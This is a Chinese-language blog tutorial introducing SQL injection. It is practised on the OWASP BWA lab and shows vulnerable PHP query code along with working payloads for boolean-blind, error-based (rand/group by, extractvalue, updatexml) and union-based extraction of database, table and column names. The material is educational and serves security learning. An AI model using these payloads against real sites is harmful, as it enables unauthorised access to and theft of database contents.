<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    技術博客 | SQL 注入詳解

    VSole2021-11-06 05:49:52

    實習期間的主要工作是研究 WEB 安全,剛開始的時候,研究的主要是 SQL 注入,因為之前沒有搞過安全,所有費了好長一段時間對 SQL 注入基本知識進行了解。這篇文章并不是什么很深入的技術博客,或許應該叫它‘ SQL注入掃盲 ’

    關于 SQL Injection

    SQL Injection 就是通過把惡意的 SQL 命令插入到 Web 表單讓服務器執行,最終達到欺騙服務器或數據庫執行惡意的 SQL 命令。

    學習 SQL 注入,首先要搭一個靶機環境,我使用的是 OWASP BWA,感興趣的可以去官網下載一個安裝,除了 SQL 注入,很多靶機環境都可以在 BWA 中找到,它專門為 OWASP ZAP 滲透工具設計的。

    $id = $_GET['id'];$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";$result = mysql_query($getid) or die('
    ' . mysql_error() . '
    ' );$num = mysql_numrows($result); 
    


    這是一個很簡單的 PHP代碼,從前臺獲得 id 的值,交給數據庫來執行,把結果返回給前臺。

    比如我們在 OWASP 里輸入 id = 1,點擊 Submit,返回結果如下:

    稍微懂一點后臺或者數據庫的人都知道,上面的那段代碼是有嚴重問題的,沒有對 id 的值進行有效性、合法性判斷。也就是說,我們在 submit 輸入框輸入的如何內容都會被提交給數據庫執行,比如在輸入框輸入1' or '1'='1,執行就會變成:

    //原先要在數據庫中執行的命令SELECT first_name, last_name FROM users WHERE user_id = '1'//變成SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1'
    

    注意一下單引號,這是 SQL 注入中非常重要的一個地方,所以注入代碼的最后要補充一個 '1'='1讓單引號閉合。

    由于 or 的執行,會把數據庫表 users 中的所有內容顯示出來,


    下面對三種主要的注入類型進行介紹。

    Boolean-based 原理分析

    首先不得不講SQL中的AND和OR

    AND 和 OR 可在 WHERE 子語句中把兩個或多個條件結合起來。

    AND:返回第一個條件和第二個條件都成立的記錄。

    OR:返回滿足第一個條件或第二個條件的記錄。

    AND和OR即為集合論中的交集和并集。

    下面是一個數據庫的查詢內容。


    mysql> select * from students;+-------+-------+-----+| id    | name  | age |+-------+-------+-----+| 10056 | Doris |  20 || 10058 | Jaune |  22 || 10060 | Alisa |  29 |+-------+-------+-----+3 rows in set (0.00 sec)
    

    1)

    mysql> select * from students where TRUE ;+-------+-------+-----+| id    | name  | age |+-------+-------+-----+| 10056 | Doris |  20 || 10058 | Jaune |  22 || 10060 | Alisa |  29 |+-------+-------+-----+3 rows in set (0.00 sec)
    

    2)

    mysql> select * from students where FALSE ;Empty set (0.00 sec)
    

    3)

    mysql> SELECT * from students where id = 10056 and TRUE ;+-------+-------+-----+| id    | name  | age |+-------+-------+-----+| 10056 | Doris |  20 |+-------+-------+-----+1 row in set (0.00 sec)
    

    4)

    mysql> select * from students where id = 10056 and FALSE ;Empty set (0.00 sec)
    

    5)

    mysql> selcet * from students where id = 10056 or TRUE ;+-------+-------+-----+| id    | name  | age |+-------+-------+-----+| 10056 | Doris |  20 || 10058 | Jaune |  22 || 10060 | Alisa |  29 |+-------+-------+-----+3 rows in set (0.00 sec)
    

    6)

    mysql> select * from students where id = 10056 or FALSE ;+-------+-------+-----+| id    | name  | age |+-------+-------+-----+| 10056 | Doris |  20 |+-------+-------+-----+1 row in set (0.00 sec)
    

    會發現and 1=1 , and 1=2 即是 and TRUE , and FALSE 的變種。

    這便是最基礎的boolean注入,以此為基礎你可以自由組合語句。

    字典爆破流


    and exists(select * from ?)     //?為猜測的表名and exists(select ? from x)     //?為猜測的列名
    

    截取二分流

    and (length((select schema_name from information_schema.schemata limit 1))>?)       //判斷數據庫名的長度and (substr((select schema_name from information_schema.schemata limit 1),1,1)>'?')and (substr((select schema_name from information_schema.schemata limit 1),1,1)<'?')      //利用二分法判斷第一個字符
    


    Boolean-based總結

    根據前面的介紹,我們知道,對于基于Boolean-based的注入,必須要有一個可以正常訪問的地址,比如http: //redtiger.labs.overthewire.org/level4.php?id=1 是一個可以正常訪問的記錄,說明id=1的記錄是存在的,下面的都是基于這個進一步猜測。先來判斷一個關鍵字keyword的長度,在后面構造id=1 and (select length(keyword) from table)=1,從服務器我們會得到一個返回值,如果和先前的返回值不一樣,說明and后面的(select length(keyword) from table)=1返回false,keyword的長度不等于1。繼續構造直到id=1 and (select length(keyword) from table)=15返回true,說明keyword的長度為15。

    為什么我們剛開始一定要找一個已經存在的id,其實這主要是為了構造一個為真的情況。Boolean-based就是利用查詢結果為真和為假時的不同響應,通過不斷猜測來找到自己想要的東西。

    對于keyword的值,mysql數據庫可以使用substr(string, start, length)函數,截取string從第start位開始的length個字符串id=1 and (select substr(keyword,1,1) from table) ='A',依此類推,就可以獲得keyword的在數據庫中的值。

    Boolean-based的效率很低,需要多個請求才能確定一個值,盡管這種代價可以通過腳本來完成,在有選擇的情況下,我們會優先選擇其他方式。

    Error Based 原理分析

    關于錯誤回顯

    基于錯誤回顯的sql注入就是通過sql語句的矛盾性來使數據被回顯到頁面上

    所用到的函數


    count() 統計元祖的個數(相當于求和)如select count(*) from information_schema.tables;  
    rand()用于產生一個0~1的隨機數  
    floor()向下取整  
    group by 依據我們想要的規矩對結果進行分組  
    concat將符合條件的同一列中的不同行數據拼接,以逗號隔開
    


    用于錯誤回顯的sql語句

    第一種:基于 rand() 與 group by 的錯誤

    利用group by part of rand() returns duplicate key error這個bug,關于rand()函數與group by 在mysql中的錯誤報告如下:

    **RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.

    You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.**

    這個bug會爆出duplicate key這個錯誤,然后順便就把數據偷到了。

    公式:username=admin' and (select 1 from (select count(), concat(floor(rand(0)2),0x23,(你想獲取的數據的sql語句))x from information_schema.tables group by x )a) and '1' = '1

    第二種:XPATH爆信息

    這里主要用到的是ExtractValue()和UpdateXML()這2個函數,由于mysql 5.1以后提供了內置的XML文件解析和函數,所以這種注入只能用于5.1版本以后使用

    查看sql手冊


    語法:EXTRACTVALUE (XML_document, XPath_string);第一個參數:XML_document是String格式,為XML文檔對象的名稱,文中為Doc第二個參數:XPath_string (Xpath格式的字符串) ,如果不了解Xpath語法,可以在網上查找教程。
    

    作用:從目標XML中返回包含所查詢值的字符串

    語法:UPDATEXML (XML_document, XPath_string, new_value);第一個參數:XML_document是String格式,為XML文檔對象的名稱,文中為Doc第二個參數:XPath_string (Xpath格式的字符串) ,如果不了解Xpath語法,可以在網上查找教程。第三個參數:new_value,String格式,替換查找到的符合條件的數據
    


    作用:改變文檔中符合條件的節點的值

    現在就很清楚了,我們只需要不滿足XPath_string(Xpath格式)就可以了,但是由于這個方法只能爆出32位,所以可以結合mid來使用

    公式1:username=admin' and (extractvalue(1, concat(0x7e,(你想獲取的數據的sql語句)))) and '1'='1

    公式2:username=admin' and (updatexml(1, concat(0x7e,(你想獲取的數據的sql語句)),1)) and '1'='1

    基于錯誤回顯的注入,總結起來就一句話,通過sql語句的矛盾性來使數據被回顯到頁面上,但有時候局限于回顯只能回顯一條,導致基于錯誤的注入偷數據的效率并沒有那么高,但相對于布爾注入已經提高了一個檔次。

    union query injection

    要了解union query injection,首先得了解union查詢,union用于合并兩個或更多個select的結果集。比如說


    SELECT username, password FROM account;
    


    結果是

    admin 123456

    SELECT id, title FROM article
    

    的結果是

    1 Hello, World

    SELECT username, password FROM accountUNION SELECT id, title FROM article
    

    的結果就是

    admin 123456

    1 Hello, World

    比起多重嵌套的boolean注入,union注入相對輕松。因為,union注入可以直接返回信息而不是布爾值。前面的介紹看出把union會把結果拼拼到一起,所有要讓union前面的查詢返回一個空值,一般采用類似于id=-1的方式。

    1)


    mysql> select name from students where id = -1 union select schema_name from information_schema.schemata;   //數據庫名  +--------------------+| name               |+--------------------+| information_schema || mysql              || performance_schema || rumRaisin          || t3st               || test               |+--------------------+6 rows in set (0.00 sec)
    

    2)

    mysql> select name from students where id = -1 union select table_name from information_schema.tables where table_schema='t3st';    //表名+----------+| name     |+----------+| master   || students |+----------+2   rows in set (0.00 sec)
    

    3)

    mysql> select name from students where id = -1 union select column_name from information_schema.columns where table_name = 'students' ;     //列名+------+| name |+------+| id   || name || age  |+------+3 rows in set (0.00 sec)
    

    UNION 操作符用于合并兩個或多個 SELECT 語句的結果集。請注意,UNION 內部的 SELECT 語句必須擁有相同數量的列。列也必須擁有相似的數據類型。同時,每條 SELECT 語句中的列的順序必須相同。

    舉個例子,還以最開始的 OWASP 為基礎,返回了兩個值分別是 first_name 和 sur_name,可想而知,服務器在返回數據庫的查詢結果時,就會把結果中的第一個值和第二個值傳給 first_name 和 sur_name,多了或少了,都會引起報錯。

    所以你如果想要使用union查詢來進行注入,你首先要猜測后端查詢語句中查詢了多少列,哪些列可以回顯給用戶。

    猜測列數


    -1 union select 1-1 union select 1,2-1 union select 1,2,3//直到頁面正常顯示
    

    比如這條語句

    -1 UNION SELECT 1,2,3,4
    

    如果顯示的值為3和4,表示該查詢結果中有四列,并且第三列和第四列是有用的。則相應的構造union語句如下

    -1 UNION SELECT 1,2,username,password FROM table
    

    小結一下

    SQL 注入大概有5種,還有兩種分別是 Stacked_queries(基于堆棧)和 Time-based blind(時間延遲),堆棧就是多語句查詢,用 ‘;’ 把語句隔開,和 union 一樣;時間延遲就是利用 sleep() 函數讓數據庫延遲執行,偷數據的速度很慢。(還有一個第六種,內聯注入,但和前面涉及的內容有所重疊,就不單獨來討論了)寫這篇文章的時候,也是剛剛接觸 markdown 的時候,很多格式都不規范,比如中英文之間半角的空格都沒有,大家就且看且無視吧。

    sql注入select
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    SQL注入速查表
    2022-07-29 09:22:37
    現在僅支持MySQL、Microsoft SQL Server,以及一部分ORACLE和PostgreSQL。大部分樣例都不能保證每一個場景都適用。現實場景由于各種插入語、不同的代碼環境以及各種不常見甚至奇特的SQL語句,而經常發生變化。
    id=3';對應的sqlselect * from table where id=3' 這時sql語句出錯,程序無法正常從數據庫中查詢出數據,就會拋出異常; 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=1' order by 3# 沒有報錯,說明存在3列爆出數據庫:?id=-1' union select 1,group_concat,3 from information_schema.schemata#爆出數據表:?id=1' and extractvalue--+(爆字段)?
    id=1' order by 3# 沒有報錯,說明存在3列。id=-1' union select 1,group_concat,3 from 數據庫名.數據表名--+拓展一些其他函數:system_user() 系統用戶名。updatexml函數:細節問題:extractvalue()基本一樣,改個關鍵字updatexml即可,與extractvalue有個很大的區別實在末尾注入加上,如:,而extractvalue函數末尾不加1(數值)?
    sql注入原理:業務端代碼從客戶端接收到惡意payload之后沒有進行過濾直接進行sql語句拼接并且執行造成sql注入本人正在拜讀一本代碼審計的書感覺非常的棒,剛剛好室友在挑戰自己,就順便整理一下知識點!看了一下也沒問題,繼續往下走,發現室友mybatis里的sql全部是使用$拼接的!
    在云SQL上獲取shell
    2022-07-18 17:00:27
    云上的關系數據庫服務,它是由 Google 保護、監控和更新的SQL、PostgreSQL 或 MySQL的服務器。托管 MySQL 實例的限制由于Cloud SQL是一項完全托管的服務,因此用戶無權訪問某些功能。在MySQL中,SUPER權限保留用于系統管理相關任務,FILE權限用于讀取/寫入運行 MySQL服務器上的文件。
    代碼審計,說白了就是白盒測試,審查代碼檢查是否有安全問題,核心就兩點:跟蹤用戶輸入數據+敏感函數參數回溯。
    未正確驗證用戶輸入的應用程序使它們容易受到 SQL 注入的攻擊。SQL 注入攻擊 發生在攻擊者能夠通過操縱用戶輸入數據將一系列惡意 SQL 語句插入“查詢”以供后端數據庫執行時。使用這種類型的威脅,應用程序可以很容易地被黑客入侵并被攻擊者竊取機密數據。
    我見過的流量分析類型的題目總結: 一,ping 報文信息? 二,上傳/下載文件 三,sql注入攻擊 四,訪問特定的加密解密網站 五,后臺掃描+弱密碼爆破+菜刀 六,usb流量分析 七,WiFi無線密碼破解 八,根據一組流量包了解黑客的具體行為例題:一,ping 報文信息?如果是菜刀下載文件的流量,需要刪除分組字節流前開頭和結尾的X@Y字符,否則下載的文件會出錯。
    SQL手工注入總結
    2021-11-11 08:19:35
    雖說目前互聯網上已經有很多關于 sql 注入的神器了,但是在這個 WAF 橫行的時代,手工注入往往在一些真實環境中會顯得尤為重要。本文主要把以前學過的知識做個總結,不會有詳細的知識解讀,類似于查詢手冊的形式,便于以后的復習與查閱,文中內容可能會存在錯誤,望師傅們斧正!
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类